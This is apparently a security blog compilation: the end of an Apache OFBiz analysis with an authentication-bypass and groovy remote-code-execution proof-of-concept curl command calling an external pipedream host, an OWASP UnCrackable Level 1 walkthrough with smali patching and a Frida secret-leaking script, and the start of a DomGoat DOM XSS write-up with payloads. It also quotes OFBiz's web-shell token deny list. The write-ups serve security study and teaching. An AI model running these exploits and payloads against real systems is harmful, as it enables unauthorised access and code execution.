./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/ConfigXMLReader.java:            // look through all controller.xml files and find those with the request-uri referred to by the target
./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java:            // FIXME: controller.xml errors should throw an exception.
./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java:            Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java:            // FIXME: controller.xml errors should throw an exception.
./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java:            Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java:            Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java:            Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java:            Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java:            Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java:                // If we can't read the controller.xml file, then there is no point in continuing.
./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java:                Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java:                // If we can't read the controller.xml file, then there is no point in continuing.
./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java:                Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java:            Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java:                Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java:                Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
./framework/webtools/src/main/java/org/apache/ofbiz/webtools/artifactinfo/ArtifactInfoFactory.java:            Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
./framework/webtools/src/main/java/org/apache/ofbiz/webtools/artifactinfo/ArtifactInfoFactory.java:            Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
./framework/webtools/src/main/java/org/apache/ofbiz/webtools/artifactinfo/ControllerRequestArtifactInfo.java:        if (location.endsWith("/WEB-INF/controller.xml")) {
./framework/webtools/src/main/java/org/apache/ofbiz/webtools/artifactinfo/ControllerViewArtifactInfo.java:        if (location.endsWith("/WEB-INF/controller.xml")) {
./applications/product/src/main/java/org/apache/ofbiz/product/category/SeoContextFilter.java:            Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);

From the result, we can see some interesting files named ConfigXMLReader.java and RequestHandler.java which does parsing of controller.xml. Let’s look into these files deeper and see how it’s parsing the file and handle incoming requests.

File: ofbiz-framework-release18.12.05/framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/ConfigXMLReader.java

62:   public static final String module = ConfigXMLReader.class.getName();
63:   public static final String controllerXmlFileName = "/WEB-INF/controller.xml";
.
.
153:   public static URL getControllerConfigURL(ServletContext context) {
154:       try {
155:           return context.getResource(controllerXmlFileName);
156:       } catch (MalformedURLException e) {
157:           Debug.logError(e, "Error Finding XML Config File: " + controllerXmlFileName, module);
158:           return null;
159:       }
160:   }
.
.
458:   public static class RequestMap {
459:       public String uri;
460:       public String method;
461:       public boolean edit = true;
462:       public boolean trackVisit = true;
463:       public boolean trackServerHit = true;
464:       public String description;
465:       public Event event;
466:       public boolean securityHttps = true;
467:       public boolean securityAuth = false;
468:       public boolean securityCert = false;
469:       public boolean securityExternalView = true;
470:       public boolean securityDirectRequest = true;
471:       public Map<String, RequestResponse> requestResponseMap = new HashMap<String, RequestResponse>();
472:       public Metrics metrics = null;
473: 
474:       public RequestMap(Element requestMapElement) {
475:           // Get the URI info
476:           this.uri = requestMapElement.getAttribute("uri");
477:           this.method = requestMapElement.getAttribute("method");
478:           this.edit = !"false".equals(requestMapElement.getAttribute("edit"));
479:           this.trackServerHit = !"false".equals(requestMapElement.getAttribute("track-serverhit"));
480:           this.trackVisit = !"false".equals(requestMapElement.getAttribute("track-visit"));
481:           // Check for security
482:           Element securityElement = UtilXml.firstChildElement(requestMapElement, "security");
483:           if (securityElement != null) {
484:               if (!UtilProperties.propertyValueEqualsIgnoreCase("url", "no.http", "Y")) {
485:                   this.securityHttps = "true".equals(securityElement.getAttribute("https"));
486:               } else {
487:                   String httpRequestMapList = UtilProperties.getPropertyValue("url", "http.request-map.list");
488:                   if (UtilValidate.isNotEmpty(httpRequestMapList)) {
489:                       List<String> reqList = StringUtil.split(httpRequestMapList, ",");
490:                       if (reqList.contains(this.uri)) {
491:                           this.securityHttps = "true".equals(securityElement.getAttribute("https"));
492:                       }
493:                   }
494:               }
495:               this.securityAuth = "true".equals(securityElement.getAttribute("auth"));
496:               this.securityCert = "true".equals(securityElement.getAttribute("cert"));
497:               this.securityExternalView = !"false".equals(securityElement.getAttribute("external-view"));
498:               this.securityDirectRequest = !"false".equals(securityElement.getAttribute("direct-request"));
499:           }
500:           // Check for event
501:           Element eventElement = UtilXml.firstChildElement(requestMapElement, "event");
502:           if (eventElement != null) {
503:               this.event = new Event(eventElement);
504:           }
505:           // Check for description
506:           this.description = UtilXml.childElementValue(requestMapElement, "description");
507:           // Get the response(s)
508:           for (Element responseElement : UtilXml.childElementList(requestMapElement, "response")) {
509:               RequestResponse response = new RequestResponse(responseElement);
510:               requestResponseMap.put(response.name, response);
511:           }
512:           // Get metrics.
513:           Element metricsElement = UtilXml.firstChildElement(requestMapElement, "metric");
514:           if (metricsElement != null) {
515:               this.metrics = MetricsFactory.getInstance(metricsElement);
516:           }
517:       }
518:   }

So configXMLReader.java parses the /WEB-INF/controller.xml and uses the RequestMap class which represents mapping for handling specific HTTP requests. As you can see, if auth=true is set, then inside the RequestMap object, this.securityAuth is set to true. Now let’s look at the RequestHandler.java:

File: ofbiz-framework-release18.12.05/framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java

158:   private RequestHandler(ServletContext context) {
159:       // init the ControllerConfig, but don't save it anywhere, just load it into the cache
160:       this.controllerConfigURL = ConfigXMLReader.getControllerConfigURL(context);
161:       try {
162:           ConfigXMLReader.getControllerConfig(this.controllerConfigURL);
163:       } catch (WebAppConfigurationException e) {
164:           // FIXME: controller.xml errors should throw an exception.
165:           Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
166:       }
167:       this.viewFactory = new ViewFactory(context, this.controllerConfigURL);
168:       this.eventFactory = new EventFactory(context, this.controllerConfigURL);
169: 
170:       this.trackServerHit = !"false".equalsIgnoreCase(context.getInitParameter("track-serverhit"));
171:       this.trackVisit = !"false".equalsIgnoreCase(context.getInitParameter("track-visit"));
172:       
173:       hostHeadersAllowed = UtilMisc.getHostHeadersAllowed();
174: 
175:   }
.
.
240:   public void doRequest(HttpServletRequest request, HttpServletResponse response, String chain,
241:           GenericValue userLogin, Delegator delegator) throws RequestHandlerException, RequestHandlerExceptionAllowExternalRequests {
242: 
243:       if (!hostHeadersAllowed.contains(request.getServerName())) {
244:           Debug.logError("Domain " + request.getServerName() + " not accepted to prevent host header injection."
245:                   + " You need to set host-headers-allowed property in security.properties file.", module);
246:           throw new RequestHandlerException("Domain " + request.getServerName() + " not accepted to prevent host header injection."
247:                   + " You need to set host-headers-allowed property in security.properties file.");
248:       }
249:
250:       final boolean throwRequestHandlerExceptionOnMissingLocalRequest = EntityUtilProperties.propertyValueEqualsIgnoreCase(
251:               "requestHandler", "throwRequestHandlerExceptionOnMissingLocalRequest", "Y", delegator);
252:       long startTime = System.currentTimeMillis();
253:       HttpSession session = request.getSession();
254: 
255:       // Parse controller config.
256:       try {
257:           ccfg = new ControllerConfig(getControllerConfig());
258:       } catch (WebAppConfigurationException e) {
259:           Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
260:           throw new RequestHandlerException(e);
261:       }
262: 
263:       // workaround if we are in the root webapp
264:       String cname = UtilHttp.getApplicationName(request);
265: 
266:       // Grab data from request object to process
267:       String defaultRequestUri = RequestHandler.getRequestUri(request.getPathInfo());
268: 
269:       String requestMissingErrorMessage = "Unknown request ["
270:               + defaultRequestUri
271:               + "]; this request does not exist or cannot be called directly.";
272: 
273:       String path = request.getPathInfo();
274:       String requestUri = getRequestUri(path);
275:       String overrideViewUri = getOverrideViewUri(path);
276: 
277:       Collection<RequestMap> rmaps = resolveURI(ccfg, request);
278:       if (rmaps.isEmpty()) {
.
.

doRequest() is the major function which handles the incoming HTTP Request.

The code starts with incoming request’s ServerName (host header) is in the hostHeadersAllowed list. If not, it logs an error and throws a RequestHandlerException.
It then parses the controller.xml file to obtain the configuration (ControllerConfig) and sets up variables, such as the application name (cname), default request URI, and paths. A great way to debug how all these variables play a role is to setup a breakpoint at the doRequest() function and execute line by line printing variables and values.

Further down, it checks if the resolved request maps (rmaps) collection is empty and then proceeds to handle the HTTP method.

We can continue down this path until we find securityAuth which triggers the login flow:

File: ofbiz-framework-release18.12.05/framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java

482:   if (requestMap.securityAuth) {
483:       // Invoke the security handler
484:       // catch exceptions and throw RequestHandlerException if failed.
485:       if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler]: AuthRequired. Running security check. " + showSessionId(request), module);
486:       ConfigXMLReader.Event checkLoginEvent = ccfg.getRequestMapMap().getFirst("checkLogin").event;
487:       String checkLoginReturnString = null;
488: 
489:       try {
490:           checkLoginReturnString = this.runEvent(request, response, checkLoginEvent, null, "security-auth");
491:       } catch (EventHandlerException e) {
492:           throw new RequestHandlerException(e.getMessage(), e);
493:       }
494:       if (!"success".equalsIgnoreCase(checkLoginReturnString)) {
495:           // previous URL already saved by event, so just do as the return says...
496:           eventReturn = checkLoginReturnString;
497:           // if the request is an ajax request we don't want to return the default login check
498:           if (!"XMLHttpRequest".equals(request.getHeader("X-Requested-With"))) {
499:               requestMap = ccfg.getRequestMapMap().getFirst("checkLogin");
500:           } else {
501:               requestMap = ccfg.getRequestMapMap().getFirst("ajaxCheckLogin");
502:           }
503:       }
504:   } else {
505:       String[] loginUris = EntityUtilProperties.getPropertyValue("security", "login.uris", delegator).split(",");
506:       boolean removePreviousRequest = true;
507:       for (int i = 0; i < loginUris.length; i++) {
508:           if (requestUri.equals(loginUris[i])) {
509:              removePreviousRequest = false;
510:           }
511:       }
512:       if (removePreviousRequest) {
513:           // Remove previous request attribute on navigation to non-authenticated request
514:           request.getSession().removeAttribute("_PREVIOUS_REQUEST_");
515:       }
516:   }

The code checks if requestMap.securityAuth is true, if so, it invokes a security handler named checkLogin().
The return value from the checkLogin() event is stored in checkLoginReturnString and if the return value is not success (case-insensitive), it indicates authentication failure.

This means if we are able to return success for checkLogin(), our request will continue ! We have already seen how to bypass the authentication in the first part of this article :)

Let’s try and access the same path but this time using the authentication bypass we did above: https://localhost:8443/webtools/control/ping?USERNAME&PASSWORD=&requirePasswordChange=Y

curl --insecure "https://localhost:8443/webtools/control/ping?USERNAME&PASSWORD=&requirePasswordChange=Y"

This time, rather than going to login page, the application will return PONG confirming that we have bypassed the authentication successfully !

Remote Code Execution

At the beginning of this article, we noticed groovyScripts directory, let’s explore the directory and see if it can help us getting RCE.

File: ofbiz-framework-release18.12.05/framework/webtools/groovyScripts/entity/ProgramExport.groovy

 31: String groovyProgram = null
 32: recordValues = []
 33: errMsgList = []
 34: 
 35: if (!parameters.groovyProgram) {
 36:     groovyProgram = '''
 37: // Use the List variable recordValues to fill it with GenericValue maps.
 38: // full groovy syntaxt is available
 39: 
 40: import org.apache.ofbiz.entity.util.EntityFindOptions
 41: 
 42: // example:
 43: 
 44: // find the first three record in the product entity (if any)
 45: EntityFindOptions findOptions = new EntityFindOptions()
 46: findOptions.setMaxRows(3)
 47: 
 48: List products = delegator.findList("Product", null, null, null, findOptions, false)
 49: if (products != null) {
 50:     recordValues.addAll(products)
 51: }
 52: 
 53: 
 54: '''
 55:     parameters.groovyProgram = groovyProgram
 56: } else {
 57:     groovyProgram = parameters.groovyProgram
 58: }

The program starts with checking if a parameter named groovyProgram exists, if not a default value is provided.

File: ofbiz-framework-release18.12.05/framework/webtools/groovyScripts/entity/ProgramExport.groovy

 71: ClassLoader loader = Thread.currentThread().getContextClassLoader()
 72: def shell = new GroovyShell(loader, binding, configuration)
 73: 
 74: if (UtilValidate.isNotEmpty(groovyProgram)) {
 75:     try {
 76:         if (!org.apache.ofbiz.security.SecuredUpload.isValidText(groovyProgram,["import"])) {
 77:             request.setAttribute("_ERROR_MESSAGE_", "Not executed for security reason")
 78:             return
 79:         }
 80:         shell.parse(groovyProgram)
 81:         shell.evaluate(groovyProgram)
 82:         recordValues = shell.getVariable("recordValues")
 83:         xmlDoc = GenericValue.makeXmlDocument(recordValues)
 84:         context.put("xmlDoc", xmlDoc)
 85:     } catch(MultipleCompilationErrorsException e) {
 86:         request.setAttribute("_ERROR_MESSAGE_", e)
 87:         return
 88:     } catch(groovy.lang.MissingPropertyException e) {
 89:         request.setAttribute("_ERROR_MESSAGE_", e)
 90:         return
 91:     } catch(IllegalArgumentException e) {
 92:         request.setAttribute("_ERROR_MESSAGE_", e)
 93:         return
 94:     } catch(NullPointerException e) {
 95:         request.setAttribute("_ERROR_MESSAGE_", e)
 96:         return
 97:     } catch(Exception e) {
 98:         request.setAttribute("_ERROR_MESSAGE_", e)
 99:         return
100:     }
101: }

A groovyShell is initialised and eventually the parameter groovyProgram is passed onto groovy shell, effectively getting our code executed. An interesting thing to note is the usage of org.apache.ofbiz.security.SecuredUpload.isValidText(groovyProgram,["import"]), which is essentially taking our parameter and along with a second argument which is an array containing the string “import”.

File: ofbiz-framework-release18.12.05/framework/security/src/main/java/org/apache/ofbiz/security/SecuredUpload.java

100:   private static final List<String> DENIEDWEBSHELLTOKENS = deniedWebShellTokens();
.
.
623:   public static boolean isValidText(String content, List<String> allowed) throws IOException {
624:       return DENIEDWEBSHELLTOKENS.stream().allMatch(token -> isValid(content, token, allowed));
625:   }
.
.
644:   private static List<String> deniedWebShellTokens() {
645:       String deniedTokens = UtilProperties.getPropertyValue("security", "deniedWebShellTokens");
646:       return UtilValidate.isNotEmpty(deniedTokens) ? StringUtil.split(deniedTokens, ",") : new ArrayList<>();
647:   }

isValidText() internally called DENIEDWEBSHELLTOKENS.stream() which is nothing but deniedWebShellTokens() function which seems to be returning based on some pre-defined property value.

File: ofbiz-framework-release18.12.05/framework/security/config/security.properties

deniedWebShellTokens=freemarker,import=\"java,runtime.getruntime().exec(,<%@ page,<script,<body>,<form,php,javascript,%eval,@eval,import os,passthru,exec,shell_exec,assert,str_rot13,system,phpinfo,base64_decode,chmod,mkdir,fopen,fclose,new file,import,upload,getfilename,download,getoutputstring,readfile

This is a simple blacklist based filtering, bypassing which will give us direct code execution.

POC

curl -vv -X POST "https://localhost:8443/webtools/control/ProgramExport?USERNAME&PASSWORD=test&requirePasswordChange=Y" -d 'groovyProgram=def%20result%20%3D%20%22curl%20https%3A%2F%2Fen3d5squ4eacq.x.pipedream.net%22.execute().text%3B' --insecure

References:

Dive deep into Android Application Security - OWASP MSTG Uncrackable level 1 writeup

Wed, 18 Sep 2019 00:00:00 -0700

Introduction

Android is the most popular mobile operating system with over 85% in market share and as a result it’s important to look into the security aspects of the same as well. Mobile Security Testing Guide (MSTG) is one of the Flagship OWASP project which is a comprehensive manual for mobile app security development, testing and reverse engineering. The authors of MSTG have created some crackme’s for both Android and iOS platform using which we can dive deep into the application security of the respective platforms. In this article, we will focus on solving uncrackable level 1 for Android.

Let’s install the APK in an emulator and see how it works. I am using genymotion personal license with Google Nexus 5 (6.0 - API 23) device.

[anirudhanand@Android]$ adb devices
List of devices attached
192.168.56.102:5555	device

[anirudhanand@Android]$ adb install UnCrackable-Level1.apk
Performing Push Install
UnCrackable-Level1.apk: 1 file pushed. 22.7 MB/s (66651 bytes in 0.003s)
	pkg: /data/local/tmp/UnCrackable-Level1.apk
Success

If we run the application, it detects the root access to the device and exit immediately. Root detection is one of the common techniques developers use to prevent installing their applications on the rooted device. Let’s decompile the APK and look into the source code to see if we can bypass this.

Decompiling into Java Source code

One of the tools used to decompile the APK into java source code is Jadx.

[anirudhanand@Android]$ ls
UnCrackable-Level1.apk

[anirudhanand@Android]$ jadx UnCrackable-Level1.apk
INFO  - output directory: UnCrackable-Level1
INFO  - loading ...
INFO  - Can't find 'R' class in app package: owasp.mstg.uncrackable1
INFO  - App 'R' class not found, put all resources ids to : 'owasp.mstg.uncrackable1.R'
INFO  - processing ...
WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by com.rits.cloning.Cloner (file:/usr/local/Cellar/jadx/1.0.0/libexec/lib/cloning-1.9.12.jar) to field java.util.TreeSet.m
WARNING: Please consider reporting this to the maintainers of com.rits.cloning.Cloner
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release
INFO  - done

We can see the source code on ./UnCrackable-Level1/sources/sg/vantagepoint/uncrackable1 where MainActivity.java has been decompiled successfully by the Jadx.

10: import android.widget.EditText;
11: import owasp.mstg.uncrackable1.R;
12: import sg.vantagepoint.a.b;
13: import sg.vantagepoint.a.c;
14: 
15: public class MainActivity extends Activity {
16:     private void a(String str) {
17:         AlertDialog create = new Builder(this).create();
18:         create.setTitle(str);
19:         create.setMessage("This is unacceptable. The app is now going to exit.");
20:         create.setButton(-3, "OK", new OnClickListener() {
21:             public void onClick(DialogInterface dialogInterface, int i) {
22:                 System.exit(0);
23:             }
24:         });
25:         create.setCancelable(false);
26:         create.show();
27:     }
28: 
29:     /* access modifiers changed from: protected */
30:     public void onCreate(Bundle bundle) {
31:         if (c.a() || c.b() || c.c()) {
32:             a("Root detected!");
33:         }
34:         if (b.a(getApplicationContext())) {
35:             a("App is debuggable!");
36:         }
37:         super.onCreate(bundle);
38:         setContentView(R.layout.activity_main);
39:     }

On line number 12, 13 there are 2 imports which is nothing but importing from the location ./UnCrackable-Level1/sources/sg/vantagepoint/a/ which has 3 files: a.java, b.java, c.java

Both b.java and c.java files are being imported to the MainActivity.java file. The program has 2 protections inbuilt:

Root Detection:

This checks if the app has been installed on a rooted device and if so, exit immediately. The function is called within onCreate but it’s defined in c.java file:

01: package sg.vantagepoint.a;
02: 
03: import android.os.Build;
04: import java.io.File;
05: 
06: public class c {
07:     public static boolean a() {
08:         for (String file : System.getenv("PATH").split(":")) {
09:             if (new File(file, "su").exists()) {
10:                 return true;
11:             }
12:         }
13:         return false;
14:     }
15: 
16:     public static boolean b() {
17:         String str = Build.TAGS;
18:         return str != null && str.contains("test-keys");
19:     }
20: 
21:     public static boolean c() {
22:         for (String file : new String[]{"/system/app/Superuser.apk", "/system/xbin/daemonsu", "/system/etc/init.d/99SuperSUDaemon", "/system/bin/.ext/.su", "/system/etc/.has_su_daemon", "/system/etc/.installed_su_daemon", "/dev/com.koushikdutta.superuser.daemon/"}) {
23:             if (new File(file).exists()) {
24:                 return true;
25:             }
26:         }
27:         return false;
28:     }
29: }

So for Root detection, they are doing 3 tests to confirm if the device is rooted or not:

Su Binary: The function checks if SU binary exists or not. If so, the device as rooted.
test-keys: During the release of kernel, keys are being used to sign it which is either release-keys or test-keys. If it’s the latter, it means the kernel was signed with a custom key generated by a 3rd party developer. This is an indication that the device might be rooted (This info is located in the file /system/build.prop).
/system/ : These are common files/binaries which is accessible in a rooted device which is otherwise not accessible (on a non rooted device).

Debuggable App:

By modifying the AndroidManifest.xml, app can be debuggable so at the run time we can connect into the app using JDB (java debugger) and modify its behaviour. In order to prevent this, a check is implemented to see if the app is debuggable and if so, the system will exit.

Now let’s look at the verify function where the secret is being verified.

41:     public void verify(View view) {
42:         String str;
43:         String obj = ((EditText) findViewById(R.id.edit_text)).getText().toString();
44:         AlertDialog create = new Builder(this).create();
45:         if (a.a(obj)) {
46:             create.setTitle("Success!");
47:             str = "This is the correct secret.";
48:         } else {
49:             create.setTitle("Nope...");
50:             str = "That's not it. Try again.";
51:         }
52:         create.setMessage(str);
53:         create.setButton(-3, "OK", new OnClickListener() {
54:             public void onClick(DialogInterface dialogInterface, int i) {
55:                 dialogInterface.dismiss();
56:             }
57:         });
58:         create.show();
59:     }

The function takes an input from the user and pass it to a.a():

File: ./uncrackable/UnCrackable-Level1/sources/sg/vantagepoint/uncrackable1/a.java
01: package sg.vantagepoint.uncrackable1;
02: 
03: import android.util.Base64;
04: import android.util.Log;
05: 
06: public class a {
07:     public static boolean a(String str) {
08:         byte[] bArr;
09:         String str2 = "8d127684cbc37c17616d806cf50473cc";
10:         byte[] bArr2 = new byte[0];
11:         try {
12:             bArr = sg.vantagepoint.a.a.a(b(str2), Base64.decode("5UJiFctbmgbDoLXmpL12mkno8HT4Lv8dlat8FxR2GOc=", 0));
13:         } catch (Exception e) {
14:             StringBuilder sb = new StringBuilder();
15:             sb.append("AES error:");
16:             sb.append(e.getMessage());
17:             Log.d("CodeCheck", sb.toString());
18:             bArr = bArr2;
19:         }
20:         return str.equals(new String(bArr));
21:     }
22: 
23:     public static byte[] b(String str) {
24:         int length = str.length();
25:         byte[] bArr = new byte[(length / 2)];
26:         for (int i = 0; i < length; i += 2) {
27:             bArr[i / 2] = (byte) ((Character.digit(str.charAt(i), 16) << 4) + Character.digit(str.charAt(i + 1), 16));
28:         }
29:         return bArr;
30:     }
31: }


    // Verify() internally calls sg.vantagepoint.a.a.a()


File: ./uncrackable/UnCrackable-Level1/sources/sg/vantagepoint/a/a.java
01: package sg.vantagepoint.a;
02: 
03: import javax.crypto.Cipher;
04: import javax.crypto.spec.SecretKeySpec;
05: 
06: public class a {
07:     public static byte[] a(byte[] bArr, byte[] bArr2) {
08:         SecretKeySpec secretKeySpec = new SecretKeySpec(bArr, "AES/ECB/PKCS7Padding");
09:         Cipher instance = Cipher.getInstance("AES");
10:         instance.init(2, secretKeySpec);
11:         return instance.doFinal(bArr2);
12:     }
13: }

Class a which has a parameter named str (which is nothing but user input) and has a predefined variable named str2, which looks like the encrypted string. The encrypted string is decrypted on the run time and is compared with the string we entered. If both values match, we have successfully completed the challenge.

There are multiple ways in which we can solve the challenge:

Repackaging
Frida Instrumentation
JDB (Runtime debugging)

Let’s look into some of the above techniques:

Bypassing root detection with Repackaging

One of the ways to solve this challenge is to decompile the app with apktool, modify the smali byte code and reinstall the app to control the function flow. Using this technique, Root detections can be bypassed in several ways:

Modify the return of each of the functions inside class c to always return false whether they have detected root or not.
Modify the function onClick inside the MainActivity.java to return void instead of calling system.exit so that even through root is detected, the app won’t exit.

Let’s use the latter (2) to evade the root detection:

[anirudhanand@Android]$ apktool d UnCrackable-Level1.apk -o uncrackable_dissas
I: Using Apktool 2.4.0 on UnCrackable-Level1.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /var/folders/9h/2_57gxb50pqg6nxhtmt9csk00000gn/T/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

[anirudhanand@Android]$ pwd
./uncrackable_dissas/smali/sg/vantagepoint/uncrackable1


[anirudhanand@Android]$ ls
MainActivity$1.smali MainActivity$2.smali MainActivity.smali   a.smali

If we look at the functions inside MainActivity$1.smali, a function named OnClick is calling system.exit(0). Let’s modify the function to simply return void and ignore the exit call.

File: MainActivity$1.smali

35: # virtual methods
36: .method public onClick(Landroid/content/DialogInterface;I)V
37:     .locals 0
38: 
39:     const/4 p1, 0x0
40: 
41:     invoke-static {p1}, Ljava/lang/System;->exit(I)V       # remove this line
42: 
43:     return-void
44: .end method


Modified File: MainActivity$1.smali

35: # virtual methods
36: .method public onClick(Landroid/content/DialogInterface;I)V
37:     .locals 0
38: 
39:     const/4 p1, 0x0
40: 
42: 
43:     return-void
44: .end method


[anirudhanand@Android]$ apktool b uncrackable_dissas -o modified_uncrackable.apk
I: Using Apktool 2.4.0
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
I: Building apk file...
I: Copying unknown files/dir...
I: Built apk...


[anirudhanand@Android]$ java -jar sign.jar modified_uncrackable.apk

[anirudhanand@Android]$ adb uninstall owasp.mstg.uncrackable1

[anirudhanand@Android]$ adb install modified_uncrackable.s.apk

Let’s run the newly installed APK and we can see that clicking on “ok” won’t exit the application. Essentially what we did here was to modify the function call “onClick” and we removed the system.exit() function invocation line: invoke-static {p1}, Ljava/lang/System;->exit(I)V. Then we recomplied, signed (using sign.jar) and reinstalled the application to bypass this check.

Leaking the secret with runtime instrumentation - Frida

Frida is a dynamic runtime instrumentation toolkit using which we can hook functions, spy on crypto APIs or trace private application code on runtime. In short, using frida, we can redefine functions, leak function variables and what not ? In order to run Frida, make sure to install frida server on your rooted device and it’s running in the background as root (Frida - Install Client and Server). Once the server is running, we can write our own script to leak the secret out of the APK during run time.

A sample frida script (modifying function implementation) will look like this:

Java.perform(function () {
	// Name of the class to start hooking.
	var MainActivity = Java.use("com.example.name.classname");
	MainActivity.function_name.implementation = function() {
	// write the modified function code here
	return false;
}
	console.log("function simply returned.")
});

In very simple terms, we can write JavaScript code to tell frida to use a class and hook its corresponding functions and reimplement it. In the above example, we hooked a function named function_name from a class and rewrote its implementation to make sure function always returns false during runtime.

From the initial source code analysis, we know the decryption of the encrypted string is happening inside sg/vantagepoint/a/a.java where the return of the function a() has our secret. So using Frida, we can do the following to solve the challenge:

Hook the function a() inside the class sg.vantagepoint.a.a.
Modify the function implementation and call the function internally to leak its return value (byte array).
Convert the returned byte array to ascii and append it to a string to retrieve our secret.

So our final exploit code looks like the following:

Java.perform(function () {
	var aes = Java.use("sg.vantagepoint.a.a");

	// Hook the function inside the class.
	aes.a.implementation = function(var0, var1) {

		// Calling the function itself to get its return value
		var decrypt = this.a(var0, var1);
		var flag = "";

		// Converting the returned byte array to ascii and appending to a string
		for(var i = 0; i < decrypt.length; i++) {
				flag += String.fromCharCode(decrypt[i]);
           }

        // Leaking our secret
        console.log(flag);
        return decrypt;
	}
});

Run the above exploit (exploit.js) using Frida: frida -U -f owasp.mstg.uncrackable1 -l exploit.js --no-pause. Once you run it, the program will be launched inside the emulator. Give some random input so that the function gets invoked at least once and look back in the Frida terminal to see the leaked secret.

References

Frida: https://frida.re
Eduardo Novella’s solution (must read) to uncrackable level 1 (completely using Frida): https://enovella.github.io/android/reverse/2017/05/18/android-owasp-crackmes-level-1.html

From 4 sources to 3 sinks in DOM XSS - DomGoat level 1-10 (all levels) writeup

Sun, 24 Feb 2019 00:00:00 -0800

Introduction

According to OWASP, DOM Based XSS is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner.

Now what does it mean? Before diving into an example, let’s look at what “sink” and “source” means:

Source:

Source is the location from which untrusted data is taken by the application (which can be controlled by user input) and passed on to the sink. There are 4 different categories of sources:

URL-based Sources	Navigation-based Sources	Communication Sources	Storage Sources
location	window.name	Ajax	Cookies
location.href	document.referrer	Web Sockets	localStorage
location.search		Window Messaging	SessionStorage
location.pathname

See an example for all the sources at DomGoat.

Sink:

Sinks are the places where untrusted data coming from the sources is actually getting executed resulting in DOM XSS. There are 3 different categories of sinks:

javaScript Execution Sinks	HTML Execution Sinks	javaScript URI Sinks
eval()	innerHTML()	location
setTimeout()	outerHTML()	location.href
setInterval()	document.write()	location.replace()
Function()		location.assign()

See an example for all the sinks at DomGoat.

Confused ? let’s take an example to illustrate:

<html>
    <p id="name">Hello<p>
    <script>
        var url = new URL(window.location.href);
        var name = url.searchParams.get("name");
        document.getElementById('name').innerHTML = 'Hello ' + name;
    </script>
</html>

In the above example, you can see that the javaScript is searching a GET parameter called “name” and it’s writing its value dynamically into the DOM using innerHTML. So its vulnerable to DOM xss: name=<svg/onload=alert(1)>

So here, location.href is the source (where the untrusted data is coming from) while innerHTML is the sink (where the payload actually executed).

DomGoat

DomGoat is a DOM Security learning platform written by Lava Kumar Kupan (from Ironwasp security) with different levels, each level targetting on different sources and sinks.

Level 1:

let hash = location.hash;
if (hash.length > 1) {
    let hashValueToUse = unescape(hash.substr(1));
    let msg = "Welcome <b>" + hashValueToUse + "</b>!!";
    document.getElementById("msgboard").innerHTML = msg;
}

Sink: innerHTML

Source: location.hash

Solution: <svg/onload=alert(1)>

As always, level 1 starts with the easiest challenge. Here the location.hash is read and specifically unescaped (since modern browsers by default will urlencode the location.hash to avoid DOM XSS) and inserted into the div using innerHTML.

Level 2:

let rfr = document.referrer;
let paramValue = unescape(getPayloadParamValueFromUrl(rfr));
if (paramValue.length > 0) {
    let msg = "Welcome <b>" + paramValue + "</b>!!";
    document.getElementById("msgboard").innerHTML = msg;
} else {
    document.getElementById("msgboard").innerHTML = "Parameter named <b>payload</b> was not found in the referrer.";
}

If you look at the HTML source code, you can see the getPayloadParamValueFromUrl() defined which extracts the value of the GET parameter named payload if any:

let getPayloadParamValueFromUrl = function (url) {
let paramName = "payload=";
if (url.indexOf(paramName) > -1) {
    let part = url.substr(rfr.indexOf(paramName));
    part = part.split(paramName)[1];
    if (part.indexOf("#") > -1) {
        part = part.split("#")[0];
    }
    part = part.split("&")[0];
    return part;
}
return "";
};

Sink: innerHTML

Source: document.referrer

